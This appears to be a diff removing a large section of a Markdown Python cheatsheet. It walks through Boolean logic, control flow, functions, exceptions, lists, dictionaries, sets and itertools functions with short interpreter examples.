-The _or_ Operator's _Truth_ Table:
-
-| Expression       | Evaluates to |
-| ---------------- | ------------ |
-| `True or True`   | `True`       |
-| `True or False`  | `True`       |
-| `False or True`  | `True`       |
-| `False or False` | `False`      |
-
-The _not_ Operator's _Truth_ Table:
-
-| Expression  | Evaluates to |
-| ----------- | ------------ |
-| `not True`  | `False`      |
-| `not False` | `True`       |
-
-_Return to the Top_
-
-### Mixing Boolean and Comparison Operators
-
-```python
->>> (4 < 5) and (5 < 6)
-True
-```
-
-```python
->>> (4 < 5) and (9 < 6)
-False
-```
-
-```python
->>> (1 == 2) or (2 == 2)
-True
-```
-
-You can also use multiple Boolean operators in an expression, along with the comparison operators:
-
-```python
->>> 2 + 2 == 4 and not 2 + 2 == 5 and 2 * 2 == 2 + 2
-True
-```
-
-_Return to the Top_
-
-### if Statements
-
-```python
-if name == 'Alice':
-    print('Hi, Alice.')
-```
-
-_Return to the Top_
-
-### else Statements
-
-```python
-name = 'Bob'
-if name == 'Alice':
-    print('Hi, Alice.')
-else:
-    print('Hello, stranger.')
-```
-
-_Return to the Top_
-
-### elif Statements
-
-```python
-name = 'Bob'
-age = 5
-if name == 'Alice':
-    print('Hi, Alice.')
-elif age < 12:
-    print('You are not Alice, kiddo.')
-```
-
-```python
-name = 'Bob'
-age = 30
-if name == 'Alice':
-    print('Hi, Alice.')
-elif age < 12:
-    print('You are not Alice, kiddo.')
-else:
-    print('You are neither Alice nor a little kid.')
-```
-
-_Return to the Top_
-
-### while Loop Statements
-
-```python
-spam = 0
-while spam < 5:
-    print('Hello, world.')
-    spam = spam + 1
-```
-
-_Return to the Top_
-
-### break Statements
-
-If the execution reaches a break statement, it immediately exits the while loop's clause:
-
-```python
-while True:
-    print('Please type your name.')
-    name = input()
-    if name == 'your name':
-        break
-print('Thank you!')
-```
-
-_Return to the Top_
-
-### continue Statements
-
-When the program execution reaches a continue statement, the program execution immediately jumps back to the start of the loop.
-
-```python
-while True:
-    print('Who are you?')
-    name = input()
-    if name != 'Joe':
-        continue
-    print('Hello, Joe. What is the password? (It is a fish.)')
-    password = input()
-    if password == 'swordfish':
-        break
-print('Access granted.')
-```
-
-_Return to the Top_
-
-### for Loops and the range() Function
-
-```python
->>> print('My name is')
->>> for i in range(5):
->>>     print('Jimmy Five Times ({})'.format(str(i)))
-My name is
-Jimmy Five Times (0)
-Jimmy Five Times (1)
-Jimmy Five Times (2)
-Jimmy Five Times (3)
-Jimmy Five Times (4)
-```
-
-The _range()_ function can also be called with three arguments. The first two arguments will be the start and stop values, and the third will be the step argument. The step is the amount that the variable is increased by after each iteration.
-
-```python
->>> for i in range(0, 10, 2):
->>>    print(i)
-0
-2
-4
-6
-8
-```
-
-You can even use a negative number for the step argument to make the for loop count down instead of up.
-
-```python
->>> for i in range(5, -1, -1):
->>>     print(i)
-5
-4
-3
-2
-1
-0
-```
-
-### For else statement
-
-This allows to specify a statement to execute in case of the full loop has been executed. Only useful when a `break` condition can occur in the loop:
-
-```python
->>> for i in [1, 2, 3, 4, 5]:
->>>    if i == 3:
->>>        break
->>> else:
->>>    print("only executed when no item of the list is equal to 3")
-```
-
-_Return to the Top_
-
-### Importing Modules
-
-```python
-import random
-for i in range(5):
-    print(random.randint(1, 10))
-```
-
-```python
-import random, sys, os, math
-```
-
-```python
-from random import *
-```
-
-_Return to the Top_
-
-### Ending a Program Early with sys.exit()
-
-```python
-import sys
-
-while True:
-    print('Type exit to exit.')
-    response = input()
-    if response == 'exit':
-        sys.exit()
-    print('You typed {}.'.format(response))
-```
-
-_Return to the Top_
-
-## Functions
-
-```python
->>> def hello(name):
->>>     print('Hello {}'.format(name))
->>>
->>> hello('Alice')
->>> hello('Bob')
-Hello Alice
-Hello Bob
-```
-
-_Return to the Top_
-
-### Return Values and return Statements
-
-When creating a function using the def statement, you can specify what the return value should be with a return statement. A return statement consists of the following:
-
--   The return keyword.
--   The value or expression that the function should return.
-
-```python
-import random
-def getAnswer(answerNumber):
-    if answerNumber == 1:
-        return 'It is certain'
-    elif answerNumber == 2:
-        return 'It is decidedly so'
-    elif answerNumber == 3:
-        return 'Yes'
-    elif answerNumber == 4:
-        return 'Reply hazy try again'
-    elif answerNumber == 5:
-        return 'Ask again later'
-    elif answerNumber == 6:
-        return 'Concentrate and ask again'
-    elif answerNumber == 7:
-        return 'My reply is no'
-    elif answerNumber == 8:
-        return 'Outlook not so good'
-    elif answerNumber == 9:
-        return 'Very doubtful'
-
-r = random.randint(1, 9)
-fortune = getAnswer(r)
-print(fortune)
-```
-
-_Return to the Top_
-
-### The None Value
-
-```python
->>> spam = print('Hello!')
-Hello!
-```
-
-```python
->>> spam is None
-True
-```
-
-Note: never compare to `None` with the `==` operator. Always use `is`.
-
-_Return to the Top_
-
-### Keyword Arguments and print()
-
-```python
->>> print('Hello', end='')
->>> print('World')
-HelloWorld
-```
-
-```python
->>> print('cats', 'dogs', 'mice')
-cats dogs mice
-```
-
-```python
->>> print('cats', 'dogs', 'mice', sep=',')
-cats,dogs,mice
-```
-
-_Return to the Top_
-
-### Local and Global Scope
-
--   Code in the global scope cannot use any local variables.
--   However, a local scope can access global variables.
--   Code in a function's local scope cannot use variables in any other local scope.
--   You can use the same name for different variables if they are in different scopes. That is, there can be a local variable named spam and a global variable also named spam.
-
-_Return to the Top_
-
-### The global Statement
-
-If you need to modify a global variable from within a function, use the global statement:
-
-```python
->>> def spam():
->>>     global eggs
->>>     eggs = 'spam'
->>>
->>> eggs = 'global'
->>> spam()
->>> print(eggs)
-spam
-```
-
-There are four rules to tell whether a variable is in a local scope or global scope:
-
-1. If a variable is being used in the global scope (that is, outside of all functions), then it is always a global variable.
-2. If there is a global statement for that variable in a function, it is a global variable.
-3. Otherwise, if the variable is used in an assignment statement in the function, it is a local variable.
-4. But if the variable is not used in an assignment statement, it is a global variable.
-
-_Return to the Top_
-
-## Exception Handling
-
-### Basic exception handling
-
-```python
->>> def spam(divideBy):
->>>     try:
->>>         return 42 / divideBy
->>>     except ZeroDivisionError as e:
->>>         print('Error: Invalid argument: {}'.format(e))
->>>
->>> print(spam(2))
->>> print(spam(12))
->>> print(spam(0))
->>> print(spam(1))
-21.0
-3.5
-Error: Invalid argument: division by zero
-None
-42.0
-```
-
-_Return to the Top_
-
-### Final code in exception handling
-
-Code inside the `finally` section is always executed, no matter if an exception has been raised or not, and even if an exception is not caught.
-
-```python
->>> def spam(divideBy):
->>>     try:
->>>         return 42 / divideBy
->>>     except ZeroDivisionError as e:
->>>         print('Error: Invalid argument: {}'.format(e))
->>>     finally:
->>>         print("-- division finished --")
->>> print(spam(2))
--- division finished --
-21.0
->>> print(spam(12))
--- division finished --
-3.5
->>> print(spam(0))
-Error: Invalid Argument division by zero
--- division finished --
-None
->>> print(spam(1))
--- division finished --
-42.0
-```
-
-_Return to the Top_
-
-## Lists
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam
-['cat', 'bat', 'rat', 'elephant']
-```
-
-_Return to the Top_
-
-### Getting Individual Values in a List with Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[0]
-'cat'
-```
-
-```python
->>> spam[1]
-'bat'
-```
-
-```python
->>> spam[2]
-'rat'
-```
-
-```python
->>> spam[3]
-'elephant'
-```
-
-_Return to the Top_
-
-### Negative Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[-1]
-'elephant'
-```
-
-```python
->>> spam[-3]
-'bat'
-```
-
-```python
->>> 'The {} is afraid of the {}.'.format(spam[-1], spam[-3])
-'The elephant is afraid of the bat.'
-```
-
-_Return to the Top_
-
-### Getting Sublists with Slices
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[0:4]
-['cat', 'bat', 'rat', 'elephant']
-```
-
-```python
->>> spam[1:3]
-['bat', 'rat']
-```
-
-```python
->>> spam[0:-1]
-['cat', 'bat', 'rat']
-```
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[:2]
-['cat', 'bat']
-```
-
-```python
->>> spam[1:]
-['bat', 'rat', 'elephant']
-```
-
-Slicing the complete list will perform a copy:
-
-```python
->>> spam2 = spam[:]
-['cat', 'bat', 'rat', 'elephant']
->>> spam.append('dog')
->>> spam
-['cat', 'bat', 'rat', 'elephant', 'dog']
->>> spam2
-['cat', 'bat', 'rat', 'elephant']
-```
-
-_Return to the Top_
-
-### Getting a List's Length with len()
-
-```python
->>> spam = ['cat', 'dog', 'moose']
->>> len(spam)
-3
-```
-
-_Return to the Top_
-
-### Changing Values in a List with Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[1] = 'aardvark'
-
->>> spam
-['cat', 'aardvark', 'rat', 'elephant']
-
->>> spam[2] = spam[1]
-
->>> spam
-['cat', 'aardvark', 'aardvark', 'elephant']
-
->>> spam[-1] = 12345
-
->>> spam
-['cat', 'aardvark', 'aardvark', 12345]
-```
-
-_Return to the Top_
-
-### List Concatenation and List Replication
-
-```python
->>> [1, 2, 3] + ['A', 'B', 'C']
-[1, 2, 3, 'A', 'B', 'C']
-
->>> ['X', 'Y', 'Z'] * 3
-['X', 'Y', 'Z', 'X', 'Y', 'Z', 'X', 'Y', 'Z']
-
->>> spam = [1, 2, 3]
-
->>> spam = spam + ['A', 'B', 'C']
-
->>> spam
-[1, 2, 3, 'A', 'B', 'C']
-```
-
-_Return to the Top_
-
-### Removing Values from Lists with del Statements
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> del spam[2]
->>> spam
-['cat', 'bat', 'elephant']
-```
-
-```python
->>> del spam[2]
->>> spam
-['cat', 'bat']
-```
-
-_Return to the Top_
-
-### Using for Loops with Lists
-
-```python
->>> supplies = ['pens', 'staplers', 'flame-throwers', 'binders']
->>> for i, supply in enumerate(supplies):
->>>     print('Index {} in supplies is: {}'.format(str(i), supply))
-Index 0 in supplies is: pens
-Index 1 in supplies is: staplers
-Index 2 in supplies is: flame-throwers
-Index 3 in supplies is: binders
-```
-
-_Return to the Top_
-
-### Looping Through Multiple Lists with zip()
-
-```python
->>> name = ['Pete', 'John', 'Elizabeth']
->>> age = [6, 23, 44]
->>> for n, a in zip(name, age):
->>>     print('{} is {} years old'.format(n, a))
-Pete is 6 years old
-John is 23 years old
-Elizabeth is 44 years old
-```
-
-### The in and not in Operators
-
-```python
->>> 'howdy' in ['hello', 'hi', 'howdy', 'heyas']
-True
-```
-
-```python
->>> spam = ['hello', 'hi', 'howdy', 'heyas']
->>> 'cat' in spam
-False
-```
-
-```python
->>> 'howdy' not in spam
-False
-```
-
-```python
->>> 'cat' not in spam
-True
-```
-
-_Return to the Top_
-
-### The Multiple Assignment Trick
-
-The multiple assignment trick is a shortcut that lets you assign multiple variables with the values in a list in one line of code. So instead of doing this:
-
-```python
->>> cat = ['fat', 'orange', 'loud']
-
->>> size = cat[0]
-
->>> color = cat[1]
-
->>> disposition = cat[2]
-```
-
-You could type this line of code:
-
-```python
->>> cat = ['fat', 'orange', 'loud']
-
->>> size, color, disposition = cat
-```
-
-The multiple assignment trick can also be used to swap the values in two variables:
-
-```python
->>> a, b = 'Alice', 'Bob'
->>> a, b = b, a
->>> print(a)
-'Bob'
-```
-
-```python
->>> print(b)
-'Alice'
-```
-
-_Return to the Top_
-
-### Augmented Assignment Operators
-
-| Operator    | Equivalent        |
-| ----------- | ----------------- |
-| `spam += 1` | `spam = spam + 1` |
-| `spam -= 1` | `spam = spam - 1` |
-| `spam *= 1` | `spam = spam * 1` |
-| `spam /= 1` | `spam = spam / 1` |
-| `spam %= 1` | `spam = spam % 1` |
-
-Examples:
-
-```python
->>> spam = 'Hello'
->>> spam += ' world!'
->>> spam
-'Hello world!'
-
->>> bacon = ['Zophie']
->>> bacon *= 3
->>> bacon
-['Zophie', 'Zophie', 'Zophie']
-```
-
-_Return to the Top_
-
-### Finding a Value in a List with the index() Method
-
-```python
->>> spam = ['Zophie', 'Pooka', 'Fat-tail', 'Pooka']
-
->>> spam.index('Pooka')
-1
-```
-
-_Return to the Top_
-
-### Adding Values to Lists with the append() and insert() Methods
-
-**append()**:
-
-```python
->>> spam = ['cat', 'dog', 'bat']
-
->>> spam.append('moose')
-
->>> spam
-['cat', 'dog', 'bat', 'moose']
-```
-
-**insert()**:
-
-```python
->>> spam = ['cat', 'dog', 'bat']
-
->>> spam.insert(1, 'chicken')
-
->>> spam
-['cat', 'chicken', 'dog', 'bat']
-```
-
-_Return to the Top_
-
-### Removing Values from Lists with remove()
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam.remove('bat')
-
->>> spam
-['cat', 'rat', 'elephant']
-```
-
-If the value appears multiple times in the list, only the first instance of the value will be removed.
-
-_Return to the Top_
-
-### Removing Values from Lists with pop()
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam.pop()
-'elephant'
-
->>> spam
-['cat', 'bat', 'rat']
-
->>> spam.pop(0)
-'cat'
-
->>> spam
-['bat', 'rat']
-```
-
-_Return to the Top_
-
-### Sorting the Values in a List with the sort() Method
-
-```python
->>> spam = [2, 5, 3.14, 1, -7]
->>> spam.sort()
->>> spam
-[-7, 1, 2, 3.14, 5]
-```
-
-```python
->>> spam = ['ants', 'cats', 'dogs', 'badgers', 'elephants']
->>> spam.sort()
->>> spam
-['ants', 'badgers', 'cats', 'dogs', 'elephants']
-```
-
-You can also pass True for the reverse keyword argument to have sort() sort the values in reverse order:
-
-```python
->>> spam.sort(reverse=True)
->>> spam
-['elephants', 'dogs', 'cats', 'badgers', 'ants']
-```
-
-If you need to sort the values in regular alphabetical order, pass str. lower for the key keyword argument in the sort() method call:
-
-```python
->>> spam = ['a', 'z', 'A', 'Z']
->>> spam.sort(key=str.lower)
->>> spam
-['a', 'A', 'z', 'Z']
-```
-
-You can use the built-in function `sorted` to return a new list:
-
-```python
->>> spam = ['ants', 'cats', 'dogs', 'badgers', 'elephants']
->>> sorted(spam)
-['ants', 'badgers', 'cats', 'dogs', 'elephants']
-```
-
-_Return to the Top_
-
-### Tuple Data Type
-
-```python
->>> eggs = ('hello', 42, 0.5)
->>> eggs[0]
-'hello'
-```
-
-```python
->>> eggs[1:3]
-(42, 0.5)
-```
-
-```python
->>> len(eggs)
-3
-```
-
-The main way that tuples are different from lists is that tuples, like strings, are immutable.
-
-_Return to the Top_
-
-### Converting Types with the list() and tuple() Functions
-
-```python
->>> tuple(['cat', 'dog', 5])
-('cat', 'dog', 5)
-```
-
-```python
->>> list(('cat', 'dog', 5))
-['cat', 'dog', 5]
-```
-
-```python
->>> list('hello')
-['h', 'e', 'l', 'l', 'o']
-```
-
-_Return to the Top_
-
-## Dictionaries and Structuring Data
-
-Example Dictionary:
-
-```python
-myCat = {'size': 'fat', 'color': 'gray', 'disposition': 'loud'}
-```
-
-_Return to the Top_
-
-### The keys(), values(), and items() Methods
-
-values():
-
-```python
->>> spam = {'color': 'red', 'age': 42}
->>> for v in spam.values():
->>>     print(v)
-red
-42
-```
-
-keys():
-
-```python
->>> for k in spam.keys():
->>>     print(k)
-color
-age
-```
-
-items():
-
-```python
->>> for i in spam.items():
->>>     print(i)
-('color', 'red')
-('age', 42)
-```
-
-Using the keys(), values(), and items() methods, a for loop can iterate over the keys, values, or key-value pairs in a dictionary, respectively.
-
-```python
->>> spam = {'color': 'red', 'age': 42}
->>>
->>> for k, v in spam.items():
->>>     print('Key: {} Value: {}'.format(k, str(v)))
-Key: age Value: 42
-Key: color Value: red
-```
-
-_Return to the Top_
-
-### Checking Whether a Key or Value Exists in a Dictionary
-
-```python
->>> spam = {'name': 'Zophie', 'age': 7}
-```
-
-```python
->>> 'name' in spam.keys()
-True
-```
-
-```python
->>> 'Zophie' in spam.values()
-True
-```
-
-```python
->>> # You can omit the call to keys() when checking for a key
->>> 'color' in spam
-False
-```
-
-```python
->>> 'color' not in spam
-True
-```
-
-_Return to the Top_
-
-### The get() Method
-
-Get has two parameters: key and default value if the key did not exist
-
-```python
->>> picnic_items = {'apples': 5, 'cups': 2}
-
->>> 'I am bringing {} cups.'.format(str(picnic_items.get('cups', 0)))
-'I am bringing 2 cups.'
-```
-
-```python
->>> 'I am bringing {} eggs.'.format(str(picnic_items.get('eggs', 0)))
-'I am bringing 0 eggs.'
-```
-
-_Return to the Top_
-
-### The setdefault() Method
-
-Let's consider this code:
-
-```python
-spam = {'name': 'Pooka', 'age': 5}
-
-if 'color' not in spam:
-    spam['color'] = 'black'
-```
-
-Using `setdefault` we could write the same code more succinctly:
-
-```python
->>> spam = {'name': 'Pooka', 'age': 5}
->>> spam.setdefault('color', 'black')
-'black'
-```
-
-```python
->>> spam
-{'color': 'black', 'age': 5, 'name': 'Pooka'}
-```
-
-```python
->>> spam.setdefault('color', 'white')
-'black'
-```
-
-```python
->>> spam
-{'color': 'black', 'age': 5, 'name': 'Pooka'}
-```
-
-_Return to the Top_
-
-### Pretty Printing
-
-```python
->>> import pprint
->>>
->>> message = 'It was a bright cold day in April, and the clocks were striking
->>> thirteen.'
->>> count = {}
->>>
->>> for character in message:
->>>     count.setdefault(character, 0)
->>>     count[character] = count[character] + 1
->>>
->>> pprint.pprint(count)
-{' ': 13,
- ',': 1,
- '.': 1,
- 'A': 1,
- 'I': 1,
- 'a': 4,
- 'b': 1,
- 'c': 3,
- 'd': 3,
- 'e': 5,
- 'g': 2,
- 'h': 3,
- 'i': 6,
- 'k': 2,
- 'l': 3,
- 'n': 4,
- 'o': 2,
- 'p': 1,
- 'r': 5,
- 's': 3,
- 't': 6,
- 'w': 2,
- 'y': 1}
-```
-
-_Return to the Top_
-
-### Merge two dictionaries
-
-```python
-# in Python 3.5+:
->>> x = {'a': 1, 'b': 2}
->>> y = {'b': 3, 'c': 4}
->>> z = {**x, **y}
->>> z
-{'c': 4, 'a': 1, 'b': 3}
-
-# in Python 2.7
->>> z = dict(x, **y)
->>> z
-{'c': 4, 'a': 1, 'b': 3}
-```
-
-## sets
-
-From the Python 3 [documentation](https://docs.python.org/3/tutorial/datastructures.html)
-
-> A set is an unordered collection with no duplicate elements. Basic uses include membership testing and eliminating duplicate entries. Set objects also support mathematical operations like union, intersection, difference, and symmetric difference.
-
-### Initializing a set
-
-There are two ways to create sets: using curly braces `{}` and the built-in function `set()`
-
-```python
->>> s = {1, 2, 3}
->>> s = set([1, 2, 3])
-```
-
-When creating an empty set, be sure to not use the curly braces `{}` or you will get an empty dictionary instead.
-
-```python
->>> s = {}
->>> type(s)
-<class 'dict'>
-```
-
-### sets: unordered collections of unique elements
-
-A set automatically remove all the duplicate values.
-
-```python
->>> s = {1, 2, 3, 2, 3, 4}
->>> s
-{1, 2, 3, 4}
-```
-
-And as an unordered data type, they can't be indexed.
-
-```python
->>> s = {1, 2, 3}
->>> s[0]
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-TypeError: 'set' object does not support indexing
->>>
-```
-
-### set add() and update()
-
-Using the `add()` method we can add a single element to the set.
-
-```python
->>> s = {1, 2, 3}
->>> s.add(4)
->>> s
-{1, 2, 3, 4}
-```
-
-And with `update()`, multiple ones .
-
-```python
->>> s = {1, 2, 3}
->>> s.update([2, 3, 4, 5, 6])
->>> s
-{1, 2, 3, 4, 5, 6}  # remember, sets automatically remove duplicates
-```
-
-### set remove() and discard()
-
-Both methods will remove an element from the set, but `remove()` will raise a `key error` if the value doesn't exist.
-
-```python
->>> s = {1, 2, 3}
->>> s.remove(3)
->>> s
-{1, 2}
->>> s.remove(3)
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-KeyError: 3
-```
-
-`discard()` won't raise any errors.
-
-```python
->>> s = {1, 2, 3}
->>> s.discard(3)
->>> s
-{1, 2}
->>> s.discard(3)
->>>
-```
-
-### set union()
-
-`union()` or `|` will create a new set that contains all the elements from the sets provided.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {3, 4, 5}
->>> s1.union(s2)  # or 's1 | s2'
-{1, 2, 3, 4, 5}
-```
-
-### set intersection
-
-`intersection` or `&` will return a set containing only the elements that are common to all of them.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s3 = {3, 4, 5}
->>> s1.intersection(s2, s3)  # or 's1 & s2 & s3'
-{3}
-```
-
-### set difference
-
-`difference` or `-` will return only the elements that are unique to the first set (invoked set).
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s1.difference(s2)  # or 's1 - s2'
-{1}
->>> s2.difference(s1) # or 's2 - s1'
-{4}
-```
-
-### set symetric_difference
-
-`symetric_difference` or `^` will return all the elements that are not common between them.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s1.symmetric_difference(s2)  # or 's1 ^ s2'
-{1, 4}
-```
-
-_Return to the Top_
-
-## itertools Module
-
-The _itertools_ module is a collection of tools intended to be fast and use memory efficiently when handling iterators (like lists or dictionaries).
-
-From the official [Python 3.x documentation](https://docs.python.org/3/library/itertools.html):
-
-> The module standardizes a core set of fast, memory efficient tools that are useful by themselves or in combination. Together, they form an "iterator algebra" making it possible to construct specialized tools succinctly and efficiently in pure Python.
-
-The _itertools_ module comes in the standard library and must be imported.
-
-The [operator](https://docs.python.org/3/library/operator.html) module will also be used. This module is not necessary when using itertools, but needed for some of the examples below.
-
-_Return to the Top_
-
-### accumulate()
-
-Makes an iterator that returns the results of a function.
-
-```python
-itertools.accumulate(iterable[, func])
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5]
->>> result = itertools.accumulate(data, operator.mul)
->>> for each in result:
->>>    print(each)
-1
-2
-6
-24
-120
-```
-
-The operator.mul takes two numbers and multiplies them:
-
-```python
-operator.mul(1, 2)
-2
-operator.mul(2, 3)
-6
-operator.mul(6, 4)
-24
-operator.mul(24, 5)
-120
-```
-
-Passing a function is optional:
-
-```python
->>> data = [5, 2, 6, 4, 5, 9, 1]
->>> result = itertools.accumulate(data)
->>> for each in result:
->>>    print(each)
-5
-7
-13
-17
-22
-31
-32
-```
-
-If no function is designated the items will be summed:
-
-```python
-5
-5 + 2 = 7
-7 + 6 = 13
-13 + 4 = 17
-17 + 5 = 22
-22 + 9 = 31
-31 + 1 = 32
-```
-
-_Return to the Top_
-
-### combinations()
-
-Takes an iterable and a integer. This will create all the unique combination that have r members.
-
-```python
-itertools.combinations(iterable, r)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square',]
->>> result = itertools.combinations(shapes, 2)
->>> for each in result:
->>>    print(each)
-('circle', 'triangle')
-('circle', 'square')
-('triangle', 'square')
-```
-
-_Return to the Top_
-
-### combinations_with_replacement()
-
-Just like combinations(), but allows individual elements to be repeated more than once.
-
-```python
-itertools.combinations_with_replacement(iterable, r)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square']
->>> result = itertools.combinations_with_replacement(shapes, 2)
->>> for each in result:
->>>    print(each)
-('circle', 'circle')
-('circle', 'triangle')
-('circle', 'square')
-('triangle', 'triangle')
-('triangle', 'square')
-('square', 'square')
-```
-
-_Return to the Top_
-
-### count()
-
-Makes an iterator that returns evenly spaced values starting with number start.
-
-```python
-itertools.count(start=0, step=1)
-```
-
-Example:
-
-```python
->>> for i in itertools.count(10,3):
->>>    print(i)
->>>    if i > 20:
->>>        break
-10
-13
-16
-19
-22
-```
-
-_Return to the Top_
-
-### cycle()
-
-This function cycles through an iterator endlessly.
-
-```python
-itertools.cycle(iterable)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue', 'violet']
->>> for color in itertools.cycle(colors):
->>>    print(color)
-red
-orange
-yellow
-green
-blue
-violet
-red
-orange
-```
-
-When reached the end of the iterable it start over again from the beginning.
-
-_Return to the Top_
-
-### chain()
-
-Take a series of iterables and return them as one long iterable.
-
-```python
-itertools.chain(*iterables)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> shapes = ['circle', 'triangle', 'square', 'pentagon']
->>> result = itertools.chain(colors, shapes)
->>> for each in result:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-circle
-triangle
-square
-pentagon
-```
-
-_Return to the Top_
-
-### compress()
-
-Filters one iterable with another.
-
-```python
-itertools.compress(data, selectors)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square', 'pentagon']
->>> selections = [True, False, True, False]
->>> result = itertools.compress(shapes, selections)
->>> for each in result:
->>>    print(each)
-circle
-square
-```
-
-_Return to the Top_
-
-### dropwhile()
-
-Make an iterator that drops elements from the iterable as long as the predicate is true; afterwards, returns every element.
-
-```python
-itertools.dropwhile(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.dropwhile(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-5
-6
-7
-8
-9
-10
-1
-```
-
-_Return to the Top_
-
-### filterfalse()
-
-Makes an iterator that filters elements from iterable returning only those for which the predicate is False.
-
-```python
-itertools.filterfalse(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.filterfalse(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-5
-6
-7
-8
-9
-10
-```
-
-_Return to the Top_
-
-### groupby()
-
-Simply put, this function groups things together.
-
-```python
-itertools.groupby(iterable, key=None)
-```
-
-Example:
-
-```python
->>> robots = [{
-    'name': 'blaster',
-    'faction': 'autobot'
-}, {
-    'name': 'galvatron',
-    'faction': 'decepticon'
-}, {
-    'name': 'jazz',
-    'faction': 'autobot'
-}, {
-    'name': 'metroplex',
-    'faction': 'autobot'
-}, {
-    'name': 'megatron',
-    'faction': 'decepticon'
-}, {
-    'name': 'starcream',
-    'faction': 'decepticon'
-}]
->>> for key, group in itertools.groupby(robots, key=lambda x: x['faction']):
->>>    print(key)
->>>    print(list(group))
-autobot
-[{'name': 'blaster', 'faction': 'autobot'}]
-decepticon
-[{'name': 'galvatron', 'faction': 'decepticon'}]
-autobot
-[{'name': 'jazz', 'faction': 'autobot'}, {'name': 'metroplex', 'faction': 'autobot'}]
-decepticon
-[{'name': 'megatron', 'faction': 'decepticon'}, {'name': 'starcream', 'faction': 'decepticon'}]
-```
-
-_Return to the Top_
-
-### islice()
-
-This function is very much like slices. This allows you to cut out a piece of an iterable.
-
-```python
-itertools.islice(iterable, start, stop[, step])
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue',]
->>> few_colors = itertools.islice(colors, 2)
->>> for each in few_colors:
->>>    print(each)
-red
-orange
-```
-
-_Return to the Top_
-
-### permutations()
-
-```python
-itertools.permutations(iterable, r=None)
-```
-
-Example:
-
-```python
->>> alpha_data = ['a', 'b', 'c']
->>> result = itertools.permutations(alpha_data)
->>> for each in result:
->>>    print(each)
-('a', 'b', 'c')
-('a', 'c', 'b')
-('b', 'a', 'c')
-('b', 'c', 'a')
-('c', 'a', 'b')
-('c', 'b', 'a')
-```
-
-_Return to the Top_
-
-### product()
-
-Creates the cartesian products from a series of iterables.
-
-```python
->>> num_data = [1, 2, 3]
->>> alpha_data = ['a', 'b', 'c']
->>> result = itertools.product(num_data, alpha_data)
->>> for each in result:
-    print(each)
-(1, 'a')
-(1, 'b')
-(1, 'c')
-(2, 'a')
-(2, 'b')
-(2, 'c')
-(3, 'a')
-(3, 'b')
-(3, 'c')
-```
-
-_Return to the Top_
-
-### repeat()
-
-This function will repeat an object over and over again. Unless, there is a times argument.
-
-```python
-itertools.repeat(object[, times])
-```
-
-Example:
-
-```python
->>> for i in itertools.repeat("spam", 3):
-    print(i)
-spam
-spam
-spam
-```
-
-_Return to the Top_
-
-### starmap()
-
-Makes an iterator that computes the function using arguments obtained from the iterable.
-
-```python
-itertools.starmap(function, iterable)
-```
-
-Example:
-
-```python
->>> data = [(2, 6), (8, 4), (7, 3)]
->>> result = itertools.starmap(operator.mul, data)
->>> for each in result:
->>>    print(each)
-12
-32
-21
-```
-
-_Return to the Top_
-
-### takewhile()
-
-The opposite of dropwhile(). Makes an iterator and returns elements from the iterable as long as the predicate is true.
-
-```python
-itertools.takewhile(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.takewhile(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-1
-2
-3
-4
-```
-
-_Return to the Top_
-
-### tee()
-
-Return n independent iterators from a single iterable.
-
-```python
-itertools.tee(iterable, n=2)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> alpha_colors, beta_colors = itertools.tee(colors)
->>> for each in alpha_colors:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-```
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> alpha_colors, beta_colors = itertools.tee(colors)
->>> for each in beta_colors:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-```
-
-_Return to the Top_
-
-### zip_longest()
-
-Makes an iterator that aggregates elements from each of the iterables. If the iterables are of uneven length, missing values are filled-in with fillvalue. Iteration continues until the longest iterable is exhausted.
-
-```python
-itertools.zip_longest(*iterables, fillvalue=None)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue',]
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10,]
->>> for each in itertools.zip_longest(colors, data, fillvalue=None):
->>>    print(each)
-('red', 1)
-('orange', 2)
-('yellow', 3)
-('green', 4)
-('blue', 5)
-(None, 6)
-(None, 7)
-(None, 8)
-(None, 9)
-(None, 10)
-```
-
